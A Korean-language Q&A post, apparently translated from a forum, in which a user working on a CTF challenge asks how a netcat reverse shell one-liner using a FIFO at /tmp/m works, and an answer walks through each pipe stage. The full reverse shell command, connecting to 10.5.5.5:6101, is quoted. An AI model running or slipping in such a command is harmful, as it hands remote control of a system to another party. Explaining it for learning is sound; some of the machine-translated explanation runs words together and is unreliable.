이 코드는 실제로 무엇을 하고 있나요?

이 코드는 실제로 무엇을 하고 있나요?

플랫폼에서 CTF 챌린지를 수행하는 동안 리버스 쉘이 필요했지만 작동하지 않아서 흐름을 살펴보고 리버스 쉘 코드를 찾았습니다.

rm /tmp/m;mkfifo /tmp/m;cat /tmp/m|/bin/sh -i 2>&1|nc 10.5.5.5 6101 >/tmp/m

이것은 실제로 작동하지만 파이프가 어떻게 작동하는지, 데이터를 보내는 위치 등을 실제로 이해할 수 없습니다. 누군가 이것을 설명할 수 있나요?

답변1

그러면 시스템에 원격으로 제어되는 쉘이 설정됩니다. 입력과 출력은 다음과 같습니다.

  • cat /tmp/mFIFO에서 읽고 /tmp/m쓰세요.
  • |/bin/sh -i 2>&1읽은 명령을 실행하고 출력(표준 출력 및 표준 오류)을 다음으로 보냅니다.
  • |nc 10.5.5.5 610110.5.5.5:6101에 접속해서 씁니다.
  • >/tmp/m먼저 들어간 것이 먼저 나온 것입니다.

따라서 원격 시스템은 에서 전송하고 nc, FIFO에 쓰고, 읽고 cat, 해석하는 명령을 제공할 수 있으며 sh, 이러한 명령의 출력은 FIFO를 통해 원격 시스템으로 다시 전송됩니다 nc.

관련 정보